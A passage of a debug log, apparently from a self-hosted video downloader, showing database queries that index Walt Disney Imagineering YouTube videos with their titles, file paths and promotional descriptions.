\u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "How Does Disney Do This - Three Stages in ONE Theater?!", "Q1cJY2wpQRQ", "https://www.youtube.com/watch?v=Q1cJY2wpQRQ", nil, false, "/downloads/Walt Disney Imagineering/2026-02-17 How Does Disney Do This - Three Stages in ONE Theater?!/How Does Disney Do This - Three Stages in ONE Theater?! [Q1cJY2wpQRQ].NA", false, 2, ~U[2026-02-17 00:00:00Z]] 18:55:10.099 [debug] QUERY OK source="sources" db=0.2ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:10.100 [debug] QUERY OK source="media_items" db=0.4ms idle=3.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-27 00:00:00Z], 2] 18:55:10.101 [debug] QUERY OK source="media_items" db=1.2ms idle=3.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Disney's trackless rides might feel like they're taking you off the rails, but that's not the case! In this episode, Tom tracks down the answers to how trackless attractions work like Mickey & Minnie's Runaway Railway!\n\n✅ What you’ll learn:\n• Trackless Systems Unlock Advanced Storytelling\n• Trackless Ride Vehicles Use Hidden Navigation Markers\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0Why\u00A0do\u00A0roller\u00A0coasters\u00A0feel\u00A0faster\u00A0in\u00A0the\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🎢 in the comments if you love trackless rides!", "How does Walt Disney Imagineering control a ride that's trackless?", "b16acef1-8158-466a-be57-a5eea406b7de", "IZwvg7w1_Kw", "https://www.youtube.com/watch?v=IZwvg7w1_Kw", false, false, 6, "/downloads/Walt Disney Imagineering/2026-01-27 How does Walt Disney Imagineering control a ride that's trackless?/How does Walt Disney Imagineering control a ride that's trackless? [IZwvg7w1_Kw].NA", false, false, 2, [], 98, ~U[2026-01-27 00:00:00Z], ~U[2026-03-29 22:55:10Z], ~U[2026-03-29 22:55:10Z], "Disney's trackless rides might feel like they're taking you off the rails, but that's not the case! In this episode, Tom tracks down the answers to how trackless attractions work like Mickey & Minnie's Runaway Railway!\n\n✅ What you’ll learn:\n• Trackless Systems Unlock Advanced Storytelling\n• Trackless Ride Vehicles Use Hidden Navigation Markers\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0Why\u00A0do\u00A0roller\u00A0coasters\u00A0feel\u00A0faster\u00A0in\u00A0the\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🎢 in the comments if you love trackless rides!", "How does Walt Disney Imagineering control a ride that's trackless?", "IZwvg7w1_Kw", "https://www.youtube.com/watch?v=IZwvg7w1_Kw", nil, false, "/downloads/Walt Disney Imagineering/2026-01-27 How does Walt Disney Imagineering control a ride that's trackless?/How does Walt Disney Imagineering control a ride that's trackless? [IZwvg7w1_Kw].NA", false, 2, ~U[2026-01-27 00:00:00Z]] 18:55:10.102 [debug] QUERY OK source="sources" db=0.1ms idle=4.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:10.102 [debug] QUERY OK source="media_items" db=0.4ms idle=3.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-20 00:00:00Z], 2] 18:55:10.105 [debug] QUERY OK source="media_items" db=1.8ms idle=3.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Step inside Mickey & Minnie’s Runaway Railway at Walt Disney World as we uncover the hidden secrets, Easter eggs, and behind‑the‑scenes stories shared directly by the Disney Imagineers who built the attraction.\n\n✨ What makes this special?\n• Imagineers reveal how Mickey & Minnie’s Runaway Railway uses groundbreaking techniques—including projection mapping, UV paint, and moving scenic elements\n• The attraction is filled with hidden details, from the most Hidden Mickeys in any Walt Disney World ride to a recurring Easter egg crab.\n• Behind‑the‑scenes engineering keeps the ride seamless for decades\n\n🎥 Behind-the-Scenes with Imagineers\nWED Walks and WED Rides allows you to learn more about our Disney attractions and experiences with the Imagineers who brought them to life!\n\n🔍 Explore More Episodes\n👻 Haunted Mansion Secrets Revealed → \u00A0\u00A0\u00A0•\u00A0Haunted\u00A0Mansion\u00A0Secrets\u00A0Revealed\u00A0|\u00A0Disney\u00A0...\u00A0\u00A0\n🚙 Test Track WED Rides with Disney Imagineers → \u00A0\u00A0\u00A0•\u00A0Test\u00A0Track\u00A0WED\u00A0Rides\u00A0with\u00A0Disney\u00A0Imagineers\u00A0\u00A0 \n🌼 Imagineer Stories at Journey of Water, Inspired by Moana → \u00A0\u00A0\u00A0•\u00A0Imagineer\u00A0Stories\u00A0at\u00A0Journey\u00A0of\u00A0Water,\u00A0Ins...\u00A0\u00A0\n🏚️ Haunted Mansion New Queue Landscaping Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Haunted\u00A0Mansion\u00A0New\u00A0Queue\u00A0Landscaping\u00A0Tour...\u00A0\u00A0\n🥣 Tiana's Bayou Adventure Queue Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Queue\u00A0Tour\u00A0with\u00A0an...\u00A0\u00A0\n🎉 Tiana's Bayou Adventure Ride-A-Long with Disney Imagineers! → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Ride-A-Long\u00A0with\u00A0D...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It", "1947b9a9-3430-4b3d-b4ab-15ebcbd88a2e", "qq0aU6SBP_M", "https://www.youtube.com/watch?v=qq0aU6SBP_M", false, false, 7, "/downloads/Walt Disney Imagineering/2026-01-20 Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It/Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It [qq0aU6SBP_M].NA", false, false, 2, [], 98, ~U[2026-01-20 00:00:00Z], ~U[2026-03-29 22:55:10Z], ~U[2026-03-29 22:55:10Z], "Step inside Mickey & Minnie’s Runaway Railway at Walt Disney World as we uncover the hidden secrets, Easter eggs, and behind‑the‑scenes stories shared directly by the Disney Imagineers who built the attraction.\n\n✨ What makes this special?\n• Imagineers reveal how Mickey & Minnie’s Runaway Railway uses groundbreaking techniques—including projection mapping, UV paint, and moving scenic elements\n• The attraction is filled with hidden details, from the most Hidden Mickeys in any Walt Disney World ride to a recurring Easter egg crab.\n• Behind‑the‑scenes engineering keeps the ride seamless for decades\n\n🎥 Behind-the-Scenes with Imagineers\nWED Walks and WED Rides allows you to learn more about our Disney attractions and experiences with the Imagineers who brought them to life!\n\n🔍 Explore More Episodes\n👻 Haunted Mansion Secrets Revealed → \u00A0\u00A0\u00A0•\u00A0Haunted\u00A0Mansion\u00A0Secrets\u00A0Revealed\u00A0|\u00A0Disney\u00A0...\u00A0\u00A0\n🚙 Test Track WED Rides with Disney Imagineers → \u00A0\u00A0\u00A0•\u00A0Test\u00A0Track\u00A0WED\u00A0Rides\u00A0with\u00A0Disney\u00A0Imagineers\u00A0\u00A0 \n🌼 Imagineer Stories at Journey of Water, Inspired by Moana → \u00A0\u00A0\u00A0•\u00A0Imagineer\u00A0Stories\u00A0at\u00A0Journey\u00A0of\u00A0Water,\u00A0Ins...\u00A0\u00A0\n🏚️ Haunted Mansion New Queue Landscaping Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Haunted\u00A0Mansion\u00A0New\u00A0Queue\u00A0Landscaping\u00A0Tour...\u00A0\u00A0\n🥣 Tiana's Bayou Adventure Queue Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Queue\u00A0Tour\u00A0with\u00A0an...\u00A0\u00A0\n🎉 Tiana's Bayou Adventure Ride-A-Long with Disney Imagineers! → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Ride-A-Long\u00A0with\u00A0D...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It", "qq0aU6SBP_M", "https://www.youtube.com/watch?v=qq0aU6SBP_M", nil, false, "/downloads/Walt Disney Imagineering/2026-01-20 Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It/Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It [qq0aU6SBP_M].NA", false, 2, ~U[2026-01-20 00:00:00Z]] 18:55:10.105 [debug] QUERY OK source="sources" db=0.1ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:10.106 [debug] QUERY OK source="media_items" db=0.4ms idle=4.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-22 00:00:00Z], 2] 18:55:10.107 [debug] QUERY OK source="media_items" db=1.4ms idle=4.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🎄 Did you catch those hints of gingerbread, peppermint, and pine drifting down Main Street, U.S.A.? If so, you were probably watching Mickey's Once Upon a Christmastime Parade at Walt Disney World!\n\nIn this episode of Imagineer That!, Tom Morrow 2.0 investigates the magical tech and behind‑the‑scenes secrets Disney uses to add those unforgettable festive scents to this beloved holiday parade. From gingerbread houses to frosty peppermint blasts, we’re diving into how Imagineers make Christmas smell like magic!\n\n✅ What you’ll learn:\n• How Disney adds scents the the Christmas parade\n• Why scent and the other senses are important to Walt Disney Imagineering and Disney Live Entertainment\n• How a robot can finally smell for the first time ever\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0Why\u00A0do\u00A0roller\u00A0coasters\u00A0feel\u00A0faster\u00A0in\u00A0the\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🎄 in the comments if you love the smells of the parade!\n\n#disneyliveentertainment #imagineerthat #disneychristmas", "Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That!", "160a17ee-4106-49d6-b41f-3d9f3da242a6", "KcrIWZOXOGg", "https://www.youtube.com/watch?v=KcrIWZOXOGg", false, false, 8, "/downloads/Walt Disney Imagineering/2025-12-22 Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That!/Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That! [KcrIWZOXOGg].NA", false, false, 2, [], 98, ~U[2025-12-22 00:00:00Z], ~U[2026-03-29 22:55:10Z], ~U[2026-03-29 22:55:10Z], "🎄 Did you catch those hints of gingerbread, peppermint, and pine drifting down Main Street, U.S.A.? If so, you were probably watching Mickey's Once Upon a Christmastime Parade at Walt Disney World!\n\nIn this episode of Imagineer That!, Tom Morrow 2.0 investigates the magical tech and behind‑the‑scenes secrets Disney uses to add those unforgettable festive scents to this beloved holiday parade. From gingerbread houses to frosty peppermint blasts, we’re diving into how Imagineers make Christmas smell like magic!\n\n✅ What you’ll learn:\n• How Disney adds scents the the Christmas parade\n• Why scent and the other senses are important to Walt Disney Imagineering and Disney Live Entertainment\n• How a robot can finally smell for the first time ever\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0Why\u00A0do\u00A0roller\u00A0coasters\u00A0feel\u00A0faster\u00A0in\u00A0the\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🎄 in the comments if you love the smells of the parade!\n\n#disneyliveentertainment #imagineerthat #disneychristmas", "Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That!", "KcrIWZOXOGg", "https://www.youtube.com/watch?v=KcrIWZOXOGg", nil, false, "/downloads/Walt Disney Imagineering/2025-12-22 Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That!/Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That! [KcrIWZOXOGg].NA", false, 2, ~U[2025-12-22 00:00:00Z]] 18:55:10.108 [debug] QUERY OK source="sources" db=0.1ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:10.108 [debug] QUERY OK source="media_items" db=0.4ms idle=3.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-08 00:00:00Z], 2] 18:55:11.690 [debug] QUERY OK source="media_items" db=1580.5ms idle=3.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Discover the magic behind Pepper’s Ghost! This classic illusion has amazed guests for decades in Disney attractions like The Haunted Mansion and Tower of Terror. Learn how this effect was first introduced and how Walt Disney Imagineering has continued to innovate and expand its use over the years.\n\n✨ What makes this special?\n• Disney has been utilizing Pepper's Ghost for years in their attractions\n• The Pepper's Ghost effect has evolved to include video effects\n• Disney continues to push boundaries and innovate new ways to use the stage magic\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a 👻 in the comments if you made it this far — and let us know your favorite use of Pepper's Ghost in the parks!\n\n#WaltDisneyImagineering #HauntedMansion #TowerofTerror", "Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering", "8076cfa0-8f8c-423a-a512-2e1df43f3fca", "m80WI0AK0P0", "https://www.youtube.com/watch?v=m80WI0AK0P0", false, false, 9, "/downloads/Walt Disney Imagineering/2025-12-08 Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering/Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering [m80WI0AK0P0].NA", false, false, 2, [], 98, ~U[2025-12-08 00:00:00Z], ~U[2026-03-29 22:55:10Z], ~U[2026-03-29 22:55:10Z], "Discover the magic behind Pepper’s Ghost! This classic illusion has amazed guests for decades in Disney attractions like The Haunted Mansion and Tower of Terror. Learn how this effect was first introduced and how Walt Disney Imagineering has continued to innovate and expand its use over the years.\n\n✨ What makes this special?\n• Disney has been utilizing Pepper's Ghost for years in their attractions\n• The Pepper's Ghost effect has 